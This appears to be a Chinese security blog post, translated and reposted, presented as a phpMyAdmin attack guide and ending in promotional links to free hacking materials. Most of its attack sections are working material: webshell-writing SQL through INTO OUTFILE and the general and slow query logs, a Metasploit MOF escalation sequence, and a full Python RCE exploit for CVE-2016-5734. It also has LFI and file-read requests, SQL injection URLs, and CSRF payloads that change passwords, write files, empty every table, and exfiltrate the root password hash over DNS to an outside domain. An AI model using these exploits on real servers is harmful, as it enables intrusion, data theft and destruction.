Summary analysis | Penetration testing based on phpmyadmin

1. What is phpmyadmin?

phpMyAdmin is a MySQL database management tool based on PHP and structured in Web-Base mode on the website host, allowing administrators to use the Web interface to manage MySQL databases. This web interface can be a better way to input complex SQL syntax in a simple way, especially when it comes to importing and exporting large amounts of data. One of the greater advantages is that phpMyAdmin is executed on the web server like other PHP programs, but you can use the HTML pages generated by these programs anywhere, that is, to remotely manage the MySQL database, and easily create, modify, and delete Databases and data tables. You can also use phpMyAdmin to create commonly used PHP syntax to facilitate the correctness of SQL syntax required when writing web pages.

It is a Web-based MySQL database management tool that allows users to perform various operations on the MySQL database through the browser, such as creating, deleting, modifying, querying, etc. phpmyadmin is usually installed on the Web server. By accessing a directory or file on the Web server, such as http://example.com/phpmyadmin/or http://example.com/pma/index.php, you can enter the phpmyadmin login interface. The login interface of phpmyadmin requires the user to enter the user name and password of the MySQL database. If the user inputs correctly, he can enter the main interface of phpmyadmin to manage the MySQL database.

Download various versions of phpmyadmin: phpMyAdmin - Files

2. Why attack phpmyadmin?

  • phpmyadmin is a very common and popular MySQL database management tool, and many websites use it to manage their databases.
  • If an attacker can successfully attack phpmyadmin, they can obtain the website's database information, such as user data, sensitive data, backend accounts, etc., which is very valuable to the attacker.
  • In addition, if an attacker is able to execute arbitrary code in phpmyadmin, he or she can achieve complete control of the web server, further expanding the scope and impact of the attack.

3. How to attack phpmyadmin?

3.1 Common phpMyAdmin vulnerabilities

  • Weak passwords : If an attacker is able to guess or crack the password for a phpMyAdmin account, they can access the database and potentially cause harm
  • Outdated versions : Running an outdated version of phpMyAdmin may leave your system vulnerable to known vulnerabilities. For example, phpmyadmin versions 4.8.0 and 4.8.1 have a remote file inclusion vulnerability (CVE-2018-12613
  • Remote file inclusion : Remote file inclusion (RFI) vulnerabilities allow attackers to include remote files, often malicious scripts, into a web application. This could lead to arbitrary code execution on the server
  • Remote Code Execution : A remote code execution (RCE) vulnerability allows an attacker to execute arbitrary code on the server. For example, phpmyadmin version 4.8.1 has such a vulnerability

3.2Getshell method

"Getshell" refers to the process of obtaining a remote shell on a compromised system. There are several ways to getshell through phpMyAdmin:

  • Select into Outfile : This method involves writing the webshell to a file on the server using the "SELECT ... INTO OUTFILE" SQL statement. The attacker must know the absolute path to the webroot and have write permissions to that directory
  • Log file manipulation : This method involves manipulating the MySQL log file to write the webshell to a file on the server. The attacker must have write access to the log file directory and know the absolute path to the webroot
  • New table : This method involves creating a new table in the database and inserting the webshell into one of the fields. The attacker must then write the contents of this field to a file on the server using an "INTO OUTFILE" statement

All the above methods require certain conditions to be met, such as having write permissions and knowing the absolute path to the webroot. Additionally, these methods may leave traces on the system and may be detected by security measures.

4. phpmyadmin information collection

4.1 Obtain version information

Get phpmyadmin version information and add it after the root path of the URL

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

(Note that it is case-sensitive) You can see the relevant version information of phpmyadmin. This method is also universal, as long as the administrator does not delete them.

Insert image description here

4.2 Absolute path acquisition

(1) phpinfo() page: the most ideal situation, directly display the web path (2) web error message: you can use various fuzz attempts to make the target report an error, and it is also possible to reveal the absolute path (3) Some integrated web frameworks: if The target site is built using phpstudy, LAMPP, etc. You can check the database path

show variables like '%datadir%';

Insert image description here

The method of guessing the web path is generally easy to succeed.

(5) Other methods

1.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
2.进入后台
3.百度出错信息 zoomeye shadon 搜索error warning
4. @@datadir参数看mysql路径 反猜绝对路径

五、PhpMyAdminGetshell

5.1 Write file GetShell

Privileges can be escalated by writing a shell, and we need to meet the following conditions:

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

For versions of MySQL 5.0+, you can also move the file location by modifying variables while the service is running, but you must have changeable write permissions on the directory where the log is generated. (The Linux environment may be more demanding, because the site directory is one user and MySQL is another user, and the permissions are strictly controlled, which mainly depends on whether the permissions are properly configured)

5.1.1 Directly write to file getshell

Directly use into outfile to write webshell directly in the website directory, but the prerequisites for this method are: (1) The current database user has write permission (2) The absolute path of the web is known (3) The web path can be written

How to determine if the current database user has write permission? implement:

show variables like '%secure%';

If secure_file_priv is not empty, the file can only be read in the corresponding directory. If it is empty, it can be written in other directories. The default /tmp directory under Linux is writable.

secure_file_priv是MySQL的一个参数,它用于限制MySQL的数据导入和导出操作。
具体来说,它会影响到LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数的执行。
这个参数的值有以下几种可能性:
如果secure_file_priv的值为null,表示限制mysqld不允许导入或导出。
如果secure_file_priv的值为某个具体的目录路径(例如/tmp/),表示限制mysqld的导入或导出只能发生在该目录下。
如果secure_file_priv没有具体值,表示不对mysqld的导入或导出做限制。
你可以通过执行SQL语句 show global variables like '%secure%'; 来查看当前的secure_file_priv参数值。
需要注意的是,在MySQL 5.5之前,secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件。但在MySQL 5.5之后,secure_file_priv默认是NULL,这个情况下不可以写文件。
如果你想修改这个参数的值,可以在MySQL的配置文件(Windows下是my.ini,Linux下是my.cnf)中添加或修改secure_file_priv=这一行1。修改后需要重启MySQL服务才能生效。这样就可以根据你的需求来控制MySQL的数据导入和导出操作了。

Write a phpinfo file,

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

You must pay attention to double backslashes here, otherwise they will be escaped.

5.1.2 Getshell by writing to log file

Read and write permissions + web absolute path, modify the log file to webshell

The specific utilization methods are as follows

(1) Turn on logging:

set global general_log = "ON";

Insert image description here

(2) View the current log directory:

show variables like 'general%';

Insert image description here

(3) Specify log file

set global general_log_file = "D:/phpStudy/WWW/gouwo.php";

Insert image description here

(4)) Write execution code:

select "<?php phpinfo();?>";

1694347996_64fdb2dc189fcc9cbe242.png!small?1694347995722

Insert image description here

5.1.3 Writing webshell through slow query

The specific method is as follows:

(1) View the current slow query log directory:

show variables like '%slow%';

Insert image description here

(2) Reset the path:

set GLOBAL slow_query_log_file='D:/phpStudy/WWW/gouwo2.php';

Insert image description here

(3) Enable slow query log:

set GLOBAL slow_query_log=on;

Insert image description here

(4)) Execute writing log:

select '<?php phpinfo();?>' from mysql.db where sleep(10);

Insert image description here

Insert image description here

5.2 MOF privilege escalation:

Write the file into a MOF file through mysql to replace the original MOF file, and then the system will execute the uploaded MOF every five seconds. Generally applicable to Windows <= 2003, and the C:\Windows\System32\mof directory has write permission (generally no write permission). Can be exploited directly using MSF:

use exploit/windows/mysql/mysql_mof
set rhost 192.168.106.170
set rport 3306
set password root
set username root
exploit

6. PhpMyAdmin vulnerability exploitation

6.1 WooYun-2016-199433: Arbitrary file reading vulnerability

Sphere of influence:

phpMyAdmin version
2.x版本

The POC is as follows:

POST /scripts/setup.php HTTP/1.1 
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded 
Content-Length: 80


action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

6.2 CVE-2014-8959: Local file contains

Sphere of influence:

phpMyAdmin version
4.0.1~4.2.12
PHP version
< 5.3.4

The POC is as follows:

/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00    # 注意改下token值

In actual exploitation, you can use this vulnerability to write a file to the /tmp directory to complete RCE. The PHP version can be seen through the http header and the additional content of the export table content to the file.

6.3 CVE-2016-5734: Background command execution RCE

Sphere of influence:

phpMyAdmin version
4.0.10.16 之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本

PHP version
4.3.0~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

The POC is as follows:

#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

Utilize as follows:

cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"

6.4 CVE-2018-12613: Background file contains

Sphere of influence:

phpMyAdmin version
4.8.0和4.8.1

Utilize as follows: (1) Execute the SQL statement and write the PHP code into the Session file:

select '<?php phpinfo();exit;?>'

(2) Contains session files:

http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_*** 		# *** 为phpMyAdmin的COOKIE值

6.5 CVE-2018-19968: Arbitrary file inclusion/RCE

Sphere of influence:

phpMyAdmin version
4.8.0~4.8.3

Utilize as follows: (1) Create a database and write PHP code into the Session file

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';

(2) Generate the configuration table of phpMyAdmin for the foo database and access:

http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo

(3) Tampering data is inserted into pma column_info:

INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_***','plop'; # *** 为phpMyAdmin 的COOKIE值

It should be noted here that the session storage location is different for different systems. The specific system can be seen on the homepage after logging in to phpMyAdmin.

MacOS:

/var/tmp

Linux:

/var/lib/php/sessions

phpStudy:

/phpstudy/PHPTutorial/tmp/tmp

(4) Access the address containing the Session file:

http://10.1.1.10/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[ multi_edit][][]=baz&clause_is_unique=1

6.6 CVE-2020-0554: Background SQL injection

Sphere of influence:

phpMyAdmin version
phpMyAdmin 4< 4.9.4
phpMyAdmin 5< 5.0.1
前提:已知一个用户名密码

Briefly summarize the process:

Page location server_privileges.php;

Set the variable ajax_requests to true;

Set the variable validate_username to true;

Set the variable username to the injection statement we spliced.

Construct payload:

http://192.168.209.139:8001/server_privileges.php?ajax_requests=true&validate_username=1&username=1%27or%201=1%20--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

(Token and other parameters will be automatically provided when accessing the page)

We check the data received by the backend and can see that the SQL has been successfully spliced.

After the execution is completed, the program will only tell whether the SQL execution was successful. If it fails, an error will be reported, so we can use error injection here.

Construct payload:

http://192.168.209.139:8001/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))--+db=&token=c2064a8c5f437da931fa01de5aec6581&viewing_mode=server

You can see that the instructions we injected have been successfully executed.

Reference link CVE-2020-0554: phpMyAdmin background SQL injection

6.7 CVE-2019-12922 Cross-site request forgery

Sphere of influence:

phpMyAdmin version
<= 4.9.0.1

Utilize as follows:

While logged in, add a server

http://127.0.0.1/phpmyadmin/setup/index.php

When you click delete, capture the packet through the tool

The parameter id corresponds to which server. Construct malicious links.

Of course, in actual combat, how to attract the target to click on the link has to be constructed by yourself.

The page displays 404, but the src of img will be requested once. Two servers have been created at this time

When you click on the malicious link we constructed, the page results just constructed will be displayed.

Check the server again at this time

It has been deleted and the attack was successful.

Reference link: CVE-2019-12922 phpMyAdmin 4.9.0.1-Cross-site request forgery vulnerability recurrence

6.8 CVE-2017-1000499 Cross-site request forgery

Sphere of influence:

phpMyAdmin version
Phpmyadmin:4.7.6  
Phpmyadmin:4.7.0:Beta1  
Phpmyadmin:4.7.0:Rc1  
Phpmyadmin:4.7.5  
Phpmyadmin:4.7.4  

The POC is as follows:

# Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" />

Reference link: CVE-2017-1000499

7. Special version GetShell

7.1 CVE-2013-3238

Affected versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG

Exploit module: exploit/multi/http/phpmyadminpregreplace

7.2 CVE-2012-5159

Affected version: phpMyAdmin v3.5.2.2

Exploit module: exploit/multi/http/phpmyadmin3522_backdoor

7.3 CVE-2009-1151

PhpMyAdmin configuration file/config/config.inc.php exists command execution

Affected versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1 Exploited module: exploit/unix/webapp/phpmyadmin_config

7.4 Weak Passwords & Universal Passwords

Weak password: version phpmyadmin2.11.9.2, direct root user login, no password required

Universal password: Version 2.11.3 / 2.11.4, username 'localhost'@'@" will log in successfully

As long as you like my article today, my private network security learning materials will be shared with you for free. Come and see what is available.

Network security learning resource sharing:

Finally, I would like to share with you a complete set of network security learning materials that I have studied myself. I hope it will be helpful to friends who want to learn network security!

Getting Started with Zero Basics

For students who have never been exposed to network security, we have prepared a detailed learning and growth roadmap for you. It can be said to be the most scientific and systematic learning route. It will be no problem for everyone to follow this general direction.

[Click to receive] CSDN gift package: "Hacking & Network Security Introduction & Advanced Learning Resource Package" free sharing

1. Learning roadmap

Insert image description here

There are a lot of things to learn about attack and defense. I have written down the specific things you need to learn in the road map above. If you can learn them all, you will have no problem taking on private work.

2. Video tutorial

Although there are many learning resources on the Internet, they are basically incomplete. This is an Internet security video tutorial I recorded myself. I have accompanying video explanations for every knowledge point in the roadmap above. [Click to get the video tutorial]

Insert image description here

I also compiled the technical documents myself, including my experience and technical points in participating in large-scale network security operations, CTF, and digging SRC vulnerabilities. There are also more than 200 e-books [Click to receive technical documents ]

Insert image description here

(They are all packaged into one piece and cannot be expanded one by one. There are more than 300 episodes in total)

3. Technical documents and e-books

I also compiled the technical documents myself, including my experience and technical points in participating in large-scale network security operations, CTF and digging SRC vulnerabilities. There are also more than 200 e-books [click to receive the book ]

Insert image description here

4. Toolkit, interview questions and source code

"If you want to do your job well, you must first sharpen your tools." I have summarized dozens of the most popular hacking tools for everyone. The scope of coverage mainly focuses on information collection, Android hacking tools, automation tools, phishing, etc. Interested students should not miss it.

Insert image description here

Finally, here are the interview questions about network security that I have compiled over the past few years. If you are looking for a job in network security, they will definitely help you a lot.

These questions are often encountered when interviewing Sangfor, Qi Anxin, Tencent or other major companies. If you have good questions or good insights, please share them.

Reference analysis: Sangfor official website, Qi’anxin official website, Freebuf, csdn, etc.

Content features: Clear organization and graphical representation to make it easier to understand.

Summary of content: Including intranet, operating system, protocol, penetration testing, security service, vulnerability, injection, XSS, CSRF, SSRF, file upload, file download, file inclusion, XXE, logical vulnerability, tools, SQLmap, NMAP, BP, MSF…

Insert image description here

Due to limited space, only part of the information is displayed. You need to click on the link below to get the
CSDN gift package: "Hacking & Network Security Introduction & Advanced Learning Resource Package" for free sharing

Guess you like

Origin blog.csdn.net/web22050702/article/details/133157712